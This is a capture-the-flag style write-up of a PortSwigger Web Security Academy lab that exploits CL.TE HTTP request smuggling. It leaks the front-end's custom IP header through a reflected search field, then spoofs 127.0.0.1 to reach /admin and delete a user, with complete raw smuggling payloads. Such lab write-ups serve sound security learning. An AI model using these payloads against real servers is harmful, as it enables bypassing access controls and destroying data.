| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.TE, Header Exfiltration |
| Difficulty | Practitioner |
| Objective | Discover the custom IP header added by the front-end, then use it with 127.0.0.1 to access /admin and delete carlos |
| Note | Switch Burp Repeater to HTTP/1. Disable "Update Content-Length." |
HTTP Request Smuggling — Revealing Front-End Request Rewriting — Writeup¶
Navigating to /admin:
Admin interface only available if logged in as an administrator, or if requested from 127.0.0.1
The front-end adds an IP header to every request — something like X-Forwarded-For but with a custom name. The back-end uses that header to check the requester's IP. We need to find the exact header name before we can spoof it.
Discovering the Custom Header via the Search Bar¶
The blog has a search bar — whatever we search gets reflected in the response inside a <h1> tag. If we can get the front-end's added headers to land in that reflected value, we'll see them.
Intercepting a search request:
POST / HTTP/2
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
search=teto
Switching to HTTP/1 and crafting a CL.TE smuggling payload. The idea: smuggle a partial POST / request whose body starts with search=teto but has an inflated Content-Length. The next real request that arrives will be appended to our smuggled body — including all its headers — and the full concatenated blob ends up as the search term reflected in the response.
POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 11
search=teto
Inflating the inner Content-Length to 70 forces the back-end to wait for more data — the next incoming request gets pulled in and appended to search=teto. The response reflects:
<h1>0 search results for 'tetoPOST / HTTP/1.1
X-rvcNlx-Ip: 181.236.77.13
Host: 0a6c0018'</h1>
The custom header is X-rvcNlx-Ip. The front-end is injecting it with our real IP. Now we spoof it with 127.0.0.1.
Accessing Admin with the Spoofed Header¶
POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-rvcNlx-Ip: 127.0.0.1
Content-Length: 70
search=teto
Admin panel returns. The body reveals the delete endpoint: /admin/delete?username=carlos.
Deleting Carlos¶
Updating the smuggled path and adjusting the outer Content-Length:
POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Transfer-Encoding: chunked
0
POST /admin/delete?username=carlos HTTP/1.1
X-rvcNlx-Ip: 127.0.0.1
Content-Length: 70
search=teto
this will delete carlos and solve the lab :p